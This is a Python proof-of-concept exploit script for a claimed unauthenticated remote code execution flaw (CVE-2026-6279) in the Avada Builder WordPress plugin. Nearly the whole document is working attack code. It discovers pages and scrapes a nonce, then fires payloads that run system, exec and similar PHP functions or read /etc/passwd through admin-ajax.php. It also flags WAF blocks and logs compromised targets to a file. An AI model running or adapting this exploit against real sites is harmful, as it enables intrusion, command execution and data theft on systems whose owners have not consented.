5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-6279.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
╔═══════════════════════════════════════════════════════════════════════╗
║   CVE-2026-6279 — Avada Builder <= 3.15.2                             ║
║   Unauthenticated Remote Code Execution via call_user_func()          ║
║                                                                       ║
║   Proof of Concept                                                    ║
║                                                                       ║
║   Copyright © 2026 XENON1337                                          ║
║   Special Thanks: Shadow Girlfriend 💜                                ║
║                                                                       ║
╚═══════════════════════════════════════════════════════════════════════╝

Rantai Kerentanan (Vulnerability Chain):
─────────────────────────────────────────
  1. Nonce Deterministik  → wp_create_nonce('fusion_load_nonce') untuk UID 0
  2. AJAX Unauthenticated → wp_ajax_nopriv_fusion_get_widget_markup
  3. Deserialisasi        → base64_decode + json_decode pada render_logics
  4. call_user_func()     → TANPA allowlist → eksekusi fungsi PHP arbitrer
  5. RCE!                 → system("id") → uid=... di response body

Referensi Source Code (dari CVE resmi):
───────────────────────────────────────
  • class-fusion-builder-conditional-render-helper.php L1083, L1531
  • fusion-widget.php L44, L389
  • class-fusion-builder.php L7551
"""

import requests
import base64
import json
import re
import sys
import time
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ──────────────────────────────────────────────────────────────
#  KONFIGURASI
# ──────────────────────────────────────────────────────────────

WAKTU_TIMEOUT  = 8
VERIFIKASI_SSL = False

FUNGSI_RCE = [
    {"nama": "system",            "argumen": "id",          "tipe": "stdout+return"},
    {"nama": "passthru",          "argumen": "id",          "tipe": "stdout"},
    {"nama": "shell_exec",        "argumen": "id",          "tipe": "return"},
    {"nama": "exec",              "argumen": "id",          "tipe": "return_last"},
    {"nama": "file_get_contents", "argumen": "/etc/passwd", "tipe": "return_file"},
]

POLA_NONCE = [
    r'fusionLoadNonce\s*=\s*["\x27]([a-zA-Z0-9]+)',
    r'"fusion_load_nonce"\s*:\s*"([a-zA-Z0-9]+)',
    r"fusion_load_nonce[\"'\s:=]+[\"']([a-zA-Z0-9]+)",
    r"fusionPostCardsVars[^}]*nonce[\"'\s:]+[\"']([a-zA-Z0-9]+)",
    r"fusionTableOfContentsVars[^}]*nonce[\"'\s:]+[\"']([a-zA-Z0-9]+)",
]

WIDGET_TYPES = [
    "WP_Widget_Text",            # Prioritas #1 — mendukung shortcode, paling reliable
    "WP_Widget_Custom_HTML",     # Prioritas #2 — HTML widget, juga reliable
    "WP_Widget_Recent_Posts",    # Fallback
    "WP_Widget_Archives",
    "WP_Widget_Calendar",
    "WP_Widget_Categories",
    "WP_Widget_Meta",
    "WP_Widget_Pages",
    "WP_Widget_Recent_Comments",
    "WP_Widget_RSS",
    "WP_Widget_Search",
    "WP_Widget_Tag_Cloud",
    "WP_Nav_Menu_Widget",
    "WP_Widget_Media_Image",
]

# Slug halaman yang kemungkinan punya form / shortcode Avada → nonce terekspos
# Urutan prioritas: form pages dulu, lalu content pages
SLUG_HALAMAN = [
    # Form pages (paling mungkin punya [fusion_form] → nonce terekspos)
    "contact", "contact-us", "get-in-touch", "register", "signup",
    "request-quote", "appointment", "booking", "demo", "free-trial",
    # Content pages (mungkin punya [fusion_post_cards] / [fusion_table_of_contents])
    "blog", "news", "portfolio", "shop", "work", "projects", "services",
    "about", "about-us", "team", "pricing", "faq", "testimonials",
    "gallery", "events", "careers", "partners",
]

SITEMAP_PATHS = [
    "/sitemap.xml", "/sitemap_index.xml", "/wp-sitemap.xml",
    "/sitemap-index.xml", "/sitemap_index.xml",
    "/post-sitemap.xml", "/page-sitemap.xml",
]

# ──────────────────────────────────────────────────────────────
#  WARNA TERMINAL
# ──────────────────────────────────────────────────────────────

M = "\033[95m"  # Magenta
H = "\033[91m"  # Hijau (merah di terminal, tapi artinya sukses)
B = "\033[92m"  # Biru (hijau)
K = "\033[93m"  # Kuning
C = "\033[96m"  # Cyan
P = "\033[1m"   # Pink/Bold
N = "\033[0m"   # Normal

# ──────────────────────────────────────────────────────────────
#  HELPER
# ──────────────────────────────────────────────────────────────

def banner():
    print(f"""{P}
  ╔═════════════════════════════════════════════════════════════╗
  ║  CVE-2026-6279  •  Avada Builder <= 3.15.2                  ║
  ║  Unauthenticated RCE via call_user_func()                    ║
  ║  Proof of Concept — Single Target                            ║
  ║                                                              ║
  ║  Copyright © 2026 XENON1337                                  ║
  ║  Thanks: Shadow Girlfriend 💜                                ║
  ╚═══════════════════════════════════════════════════════════════╝{N}
""")

def buat_payload(nama_fungsi, argumen):
    """Buat payload base64 JSON untuk render_logics."""
    struktur = {
        "type": "wp_conditional_tags",
        "value": {
            "function": nama_fungsi,
            "args": argumen,
        }
    }
    json_kompak = json.dumps(struktur, separators=(',', ':'))
    return base64.b64encode(json_kompak.encode()).decode()

def ekstrak_nonce(html):
    """Cari fusionLoadNonce di halaman HTML."""
    if not html:
        return ""
    for pola in POLA_NONCE:
        cocok = re.search(pola, html)
        if cocok:
            return cocok.group(1)
    return ""

def cari_uid(text):
    """Cari uid=... di response body (termasuk nested JSON)."""
    if not text:
        return ""
    # Cari langsung di raw text
    cocok = re.search(r'uid=\d+\([^)]+\)', text)
    if cocok:
        return cocok.group(0)
    # Cari di dalam JSON
    try:
        data = json.loads(text)
        if isinstance(data, dict):
            for v in data.values():
                if isinstance(v, str):
                    m = re.search(r'uid=\d+\([^)]+\)', v)
                    if m: return m.group(0)
                elif isinstance(v, dict):
                    for sv in v.values():
                        if isinstance(sv, str):
                            m = re.search(r'uid=\d+\([^)]+\)', sv)
                            if m: return m.group(0)
    except Exception:
        pass
    return ""

def cek_evidence_fgc(text):
    """Cek bukti file_get_contents berhasil."""
    if "root:x:0:0" in text or "nobody:" in text:
        return True
    return False

def buat_session():
    """Buat requests.Session dengan konfigurasi standar."""
    s = requests.Session()
    s.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    s.verify = VERIFIKASI_SSL
    return s

# ──────────────────────────────────────────────────────────────
#  PAGE DISCOVERY — MULTIPLE METODE
# ──────────────────────────────────────────────────────────────

def parse_sitemap_xml(sess, url, max_depth=2, depth=0):
    """Parse sitemap XML, return list of page URLs."""
    if depth > max_depth:
        return []
    pages = []
    try:
        r = sess.get(url, timeout=WAKTU_TIMEOUT)
        if r.status_code != 200 or "xml" not in r.headers.get("content-type", ""):
            return pages
        locs = re.findall(r'<loc>(.*?)</loc>', r.text)
        for loc in locs:
            if '.xml' in loc and ('sitemap' in loc.lower() or 'index' in loc.lower()):
                pages.extend(parse_sitemap_xml(sess, loc, max_depth, depth + 1))
            else:
                pages.append(loc.rstrip("/"))
    except Exception:
        pass
    return pages

def cari_sitemap_dari_robots(sess, base):
    """Cari sitemap URL dari robots.txt."""
    sitemaps = []
    try:
        r = sess.get(f"{base}/robots.txt", timeout=WAKTU_TIMEOUT)
        if r.ok:
            for line in r.text.split('\n'):
                line = line.strip()
                if line.lower().startswith("sitemap:"):
                    sitemaps.append(line.split(":", 1)[1].strip())
    except Exception:
        pass
    return sitemaps

def discover_pages(sess, base):
    """Discover semua halaman target via multiple metode. Return list of URLs."""
    semua_url = set()

    # METODE 1: Sitemap XML (prioritas utama)
    sitemap_sources = list(SITEMAP_PATHS)
    # Tambah sitemap dari robots.txt
    robots_sitemaps = cari_sitemap_dari_robots(sess, base)
    for s in robots_sitemaps:
        sitemap_sources.append(s.replace(base, ""))
    for path in sitemap_sources:
        try:
            urls = parse_sitemap_xml(sess, f"{base}{path}" if not path.startswith("http") else path)
            semua_url.update(urls)
        except Exception:
            pass

    # METODE 2: wp-json REST API
    for endpoint in [
        f"{base}/wp-json/wp/v2/posts?per_page=20",
        f"{base}/wp-json/wp/v2/pages?per_page=20",
    ]:
        try:
            r = sess.get(endpoint, timeout=WAKTU_TIMEOUT)
            if r.ok:
                data = r.json()
                items = data if isinstance(data, list) else data.get("data", [])
                for item in (items[:20] if isinstance(items, list) else []):
                    url_item = item.get("url", item.get("link", ""))
                    if url_item:
                        semua_url.add(url_item.rstrip("/"))
        except Exception:
            pass

    # METODE 3: RSS Feed
    try:
        r = sess.get(f"{base}/feed/", timeout=WAKTU_TIMEOUT)
        if r.ok:
            links = re.findall(r'<link>(.*?)</link>', r.text)
            for link in links:
                if link.startswith("http"):
                    semua_url.add(link.rstrip("/"))
    except Exception:
        pass

    # METODE 4: Slug guessing (fallback terakhir)
    for slug in SLUG_HALAMAN:
        semua_url.add(f"{base}/{slug}")

    # Tambahkan homepage
    semua_url.add(base)

    return list(semua_url)

# ──────────────────────────────────────────────────────────────
#  LANGKAH 1: DETEKSI TARGET
# ──────────────────────────────────────────────────────────────

def deteksi_target(sess, target, port=None):
    """Deteksi apakah target menggunakan Avada dan resolve URL-nya."""
    # Jika target sudah punya port (contoh: localhost:8888), pisahkan
    if port is None and ":" in target and not target.startswith("["):
        bagian = target.rsplit(":", 1)
        if bagian[1].isdigit():
            target, port = bagian[0], bagian[1]
    
    # Daftar hostname yang dicoba
    hostnames = [target]
    if not target.startswith("www."):
        hostnames.append(f"www.{target}")
    
    for proto in ("https", "http"):
        for hostname in hostnames:
            try:
                if port:
                    url = f"{proto}://{hostname}:{port}"
                else:
                    url = f"{proto}://{hostname}"
                r = sess.get(f"{url}/", timeout=WAKTU_TIMEOUT, allow_redirects=True)
                if r.status_code in (200, 301, 302, 403):
                    t = r.text.lower()
                    indikator = ['fusion-builder', 'fusion_load_nonce', 'fusionloadnonce',
                                 'avada', 'fusion-scripts', 'awb-', 'fusion_dynamic_css']
                    if any(k in t for k in indikator):
                        return url, True
                    return url, False
            except Exception:
                pass
    return "", False

# ──────────────────────────────────────────────────────────────
#  LANGKAH 2: EKSTRAKSI NONCE
# ──────────────────────────────────────────────────────────────

def cari_nonce(sess, base):
    """Cari fusionLoadNonce dari berbagai lokasi di target."""
    # Prioritas: form pages > content pages > homepage
    
    # 0. Discover semua halaman via sitemap/REST/feed/slug
    semua_halaman = discover_pages(sess, base)
    
    # Prioritaskan halaman yang kemungkinan punya form/shortcode
    prioritas_url = []
    biasa_url = []
    for url in semua_halaman:
        lower = url.lower()
        if any(k in lower for k in ["contact", "register", "signup", "form", "quote", "book", "demo", "free"]):
            prioritas_url.append(url)
        else:
            biasa_url.append(url)
    
    # Cek halaman prioritas dulu
    for url in prioritas_url + biasa_url:
        try:
            r = sess.get(f"{url}/" if not url.endswith("/") else url, timeout=WAKTU_TIMEOUT)
            if r.ok:
                nonce = ekstrak_nonce(r.text)
                if nonce:
                    return nonce, url.replace(base, "/") or "discovered_page"
        except Exception:
            pass
    
    return "", ""

# ──────────────────────────────────────────────────────────────
#  LANGKAH 3: EKSPLOITASI RCE
# ──────────────────────────────────────────────────────────────

def kirim_rce(sess, base, nonce, payload, nama_fungsi, widget_type=None):
    """Kirim payload RCE ke admin-ajax.php. Return (berhasil, bukti)."""
    header_ajax = {"X-Requested-With": "XMLHttpRequest"}
    
    data_post = {
        "action": "fusion_get_widget_markup",
        "fusion_load_nonce": nonce,
        "render_logics": payload,
    }
    if widget_type:
        data_post["widget_type"] = widget_type
        data_post["type"] = widget_type
        data_post["widget_id"] = "2"
        data_post["number"] = "2"
    
    try:
        r = sess.post(
            f"{base}/wp-admin/admin-ajax.php",
            headers=header_ajax,
            data=data_post,
            timeout=WAKTU_TIMEOUT
        )
        
        # Cari uid= di response
        uid = cari_uid(r.text)
        if uid:
            return True, uid
        
        # Cek file_get_contents evidence
        if nama_fungsi == "file_get_contents" and cek_evidence_fgc(r.text):
            return True, "RCE_CONFIRMED_file_get_contents (/etc/passwd terbaca)"
        
        # Analisis kenapa gagal
        if r.status_code == 403 and r.text.strip() == "-1":
            return False, "NONCE_EXPIRED"
        if r.status_code == 400 and r.text.strip() == "0":
            return False, "ACTION_MISSING"
        if r.status_code in (400, 403, 405, 429, 503):
            lower = r.text.lower()
            if "cloudflare" in lower or "cf-ray" in lower:
                return False, "WAF_BLOCKED"
            if "blocked" in lower or "forbidden" in lower:
                return False, "WAF_BLOCKED"
        if r.status_code == 500:
            return False, "PHP_ERROR"
        if r.status_code == 200:
            if '"success":true' in r.text and '"data":""' in r.text:
                return False, "FUNC_DISABLED"
        
        return False, f"HTTP_{r.status_code}"
        
    except requests.exceptions.Timeout:
        return False, "TIMEOUT"
    except Exception as e:
        return False, f"ERROR: {str(e)[:50]}"

def eksploitasi(sess, base, nonce):
    """Coba semua kombinasi fungsi RCE dan widget type."""
    
    for info_func in FUNGSI_RCE:
        nama    = info_func["nama"]
        argumen = info_func["argumen"]
        payload = buat_payload(nama, argumen)
        
        # Fase 1: Coba dengan widget_type prioritas (WP_Widget_Text, Custom_HTML)
        for wid in WIDGET_TYPES[:2]:
            berhasil, bukti = kirim_rce(sess, base, nonce, payload, nama, wid)
            if berhasil:
                return True, bukti, nama, wid
            if bukti in ("NONCE_EXPIRED", "WAF_BLOCKED", "ACTION_MISSING"):
                return False, bukti, nama, wid
        
        # Fase 2: Coba tanpa widget_type (POST minimal)
        berhasil, bukti = kirim_rce(sess, base, nonce, payload, nama)
        if berhasil:
            return True, bukti, nama, None
        if bukti in ("NONCE_EXPIRED", "WAF_BLOCKED", "ACTION_MISSING"):
            return False, bukti, nama, None
        
        # Fase 3: Coba widget type lain sebagai fallback
        for wid in WIDGET_TYPES[2:5]:
            berhasil, bukti = kirim_rce(sess, base, nonce, payload, nama, wid)
            if berhasil:
                return True, bukti, nama, wid
            if bukti in ("NONCE_EXPIRED", "WAF_BLOCKED", "ACTION_MISSING"):
                return False, bukti, nama, wid
    
    # Fase 4: Coba variasi struktur JSON alternatif
    for info_func in FUNGSI_RCE[:2]:
        nama    = info_func["nama"]
        argumen = info_func["argumen"]
        
        variasi = [
            {"relation": "and", "conditions": [{"type": "wp_conditional_tags", "value": {"function": nama, "args": argumen}}]},
            {"type": "wp_user_conditional_tags", "value": {"function": nama, "args": argumen}},
        ]
        
        for var in variasi:
            payload = base64.b64encode(json.dumps(var, separators=(',', ':')).encode()).decode()
            berhasil, bukti = kirim_rce(sess, base, nonce, payload, nama)
            if berhasil:
                return True, bukti, nama, "variasi_struktur"
            if bukti in ("NONCE_EXPIRED", "WAF_BLOCKED", "ACTION_MISSING"):
                return False, bukti, nama, "variasi_struktur"
    
    return False, "SEMUA_GAGAL", None, None

# ──────────────────────────────────────────────────────────────
#  MAIN
# ──────────────────────────────────────────────────────────────

def main():
    banner()
    
    if len(sys.argv) < 2:
        print(f"  {P}Penggunaan:{N} python3 {sys.argv[0]} <target>")
        print(f"  {C}Contoh:{N}   python3 {sys.argv[0]} target.com")
        print(f"           python3 {sys.argv[0]} http://target.com")
        print(f"           python3 {sys.argv[0]} https://target.com:8080")
        print()
        sys.exit(1)
    
    target_mentah = sys.argv[1].strip().rstrip("/")
    
    # Parse target: hilangkan protokol jika ada, simpan port
    if target_mentah.startswith("http://"):
        target_bersih = target_mentah[7:]
        proto_awal = "http"
    elif target_mentah.startswith("https://"):
        target_bersih = target_mentah[8:]
        proto_awal = "https"
    else:
        target_bersih = target_mentah
        proto_awal = None
    
    # Ekstrak port jika ada (contoh: localhost:8888)
    port = None
    target_domain = target_bersih
    if ":" in target_bersih and not target_bersih.startswith("["):
        bagian = target_bersih.rsplit(":", 1)
        if bagian[1].isdigit():
            target_domain, port = bagian[0], bagian[1]
    
    print(f"  {P}══════════════════════════════════════════════════════{N}")
    print(f"  {C}Target{N} : {target_mentah}")
    print(f"  {C}Waktu{N}  : {time.strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"  {P}══════════════════════════════════════════════════════{N}")
    print()
    
    sess = buat_session()
    t0 = time.time()
    
    # ── LANGKAH 1: Deteksi Target ──
    print(f"  {K}[*]{N} Mendeteksi target...")
    
    # Jika user sudah kasih full URL, langsung pakai
    if proto_awal:
        base = f"{proto_awal}://{target_bersih}"
        try:
            r = sess.get(f"{base}/", timeout=WAKTU_TIMEOUT, allow_redirects=True)
            if r.status_code in (200, 301, 302, 403):
                t = r.text.lower()
                indikator = ['fusion-builder', 'fusion_load_nonce', 'fusionloadnonce',
                             'avada', 'fusion-scripts', 'awb-', 'fusion_dynamic_css']
                adalah_avada = any(k in t for k in indikator)
            else:
                base, adalah_avada = deteksi_target(sess, target_domain, port)
        except Exception:
            base, adalah_avada = deteksi_target(sess, target_domain, port)
    else:
        base, adalah_avada = deteksi_target(sess, target_domain, port)
    
    if not base:
        print(f"  {H}[-]{N} Target tidak bisa dijangkau!")
        sys.exit(1)
    
    if not adalah_avada:
        print(f"  {K}[!]{N} Target terjangkau tapi tidak terdeteksi sebagai Avada.")
        print(f"  {K}[!]{N} Tetap melanjutkan... (mungkin nonce tersembunyi)")
    else:
        print(f"  {B}[+]{N} Avada terdeteksi! {C}({base}){N}")
    print()
    
    # ── LANGKAH 2: Ekstraksi Nonce ──
    print(f"  {K}[*]{N} Mencari nonce fusion_load_nonce...")
    nonce, sumber = cari_nonce(sess, base)
    
    if not nonce:
        print(f"  {H}[-]{N} Nonce tidak ditemukan!")
        print(f"  {K}[*]{N} Target mungkin tidak punya halaman dengan shortcode Avada.")
        sys.exit(1)
    
    print(f"  {B}[+]{N} Nonce ditemukan: {P}{nonce}{N} {C}(sumber: {sumber}){N}")
    print()
    
    # ── LANGKAH 3: Eksploitasi RCE ──
    print(f"  {K}[*]{N} Mengirim payload RCE...")
    print(f"  {K}[*]{N} Mencoba {len(FUNGSI_RCE)} fungsi × {len(WIDGET_TYPES[:3])} widget = {len(FUNGSI_RCE) * len(WIDGET_TYPES[:3])} kombinasi")
    print()
    
    berhasil, bukti, fungsi_yang_berhasil, widget_yang_berhasil = eksploitasi(sess, base, nonce)
    waktu_total = time.time() - t0
    
    # ── HASIL ──
    print()
    print(f"  {P}══════════════════════════════════════════════════════{N}")
    
    if berhasil:
        print(f"  {B}{P}[★] RCE BERHASIL!{N}")
        print()
        print(f"  {B}Target  :{N} {base}")
        print(f"  {B}Output  :{N} {bukti}")
        print(f"  {B}Fungsi  :{N} {fungsi_yang_berhasil}()")
        if widget_yang_berhasil:
            print(f"  {B}Widget  :{N} {widget_yang_berhasil}")
        print(f"  {B}Nonce   :{N} {nonce} ({sumber})")
        print(f"  {B}Waktu   :{N} {waktu_total:.1f}s")
        print()
        
        # Simpan ke vuln.txt
        with open("vuln.txt", "a") as f:
            f.write(f"# CVE-2026-6279 — Avada Builder <= 3.15.2 RCE\n")
            f.write(f"url: {base}\n")
            f.write(f"output: {bukti}\n")
            f.write(f"function: {fungsi_yang_berhasil}()\n")
            f.write(f"nonce: {nonce} ({sumber})\n")
            f.write(f"time: {waktu_total:.1f}s\n\n")
        
        print(f"  {C}[✓] Hasil disimpan ke vuln.txt{N}")
        
    else:
        if bukti == "NONCE_EXPIRED":
            print(f"  {H}[-]{N} Nonce expired/tidak valid!")
            print(f"  {K}[*]{N} Nonce mungkin sudah berubah. Coba lagi nanti.")
        elif bukti == "WAF_BLOCKED":
            print(f"  {H}[-]{N} Diblokir oleh WAF!")
            print(f"  {K}[*]{N} admin-ajax.php di-block oleh firewall (Cloudflare/dll)")
        elif bukti == "ACTION_MISSING":
            print(f"  {H}[-]{N} Action AJAX tidak terdaftar!")
            print(f"  {K}[*]{N} Plugin Avada Builder mungkin tidak aktif atau versi sudah di-patch")
        elif bukti == "FUNC_DISABLED":
            print(f"  {K}[!]{N} Nonce valid tapi semua fungsi RCE di-disable!")
            print(f"  {K}[*]{N} disable_functions mungkin aktif di server")
        elif bukti == "PHP_ERROR":
            print(f"  {K}[!]{N} PHP error - fungsi mungkin di-disable")
        elif bukti == "SEMUA_GAGAL":
            print(f"  {K}[!]{N} Semua percobaan RCE gagal")
            print(f"  {K}[*]{N} Kemungkinan: fungsi PHP di-disable atau konfigurasi berbeda")
        else:
            print(f"  {H}[-]{N} RCE gagal: {bukti}")
        
        print(f"  {B}Nonce   :{N} {nonce} ({sumber})")
        print(f"  {B}Waktu   :{N} {waktu_total:.1f}s")
    
    print(f"  {P}══════════════════════════════════════════════════════{N}")
    print()

if __name__ == "__main__":
    main()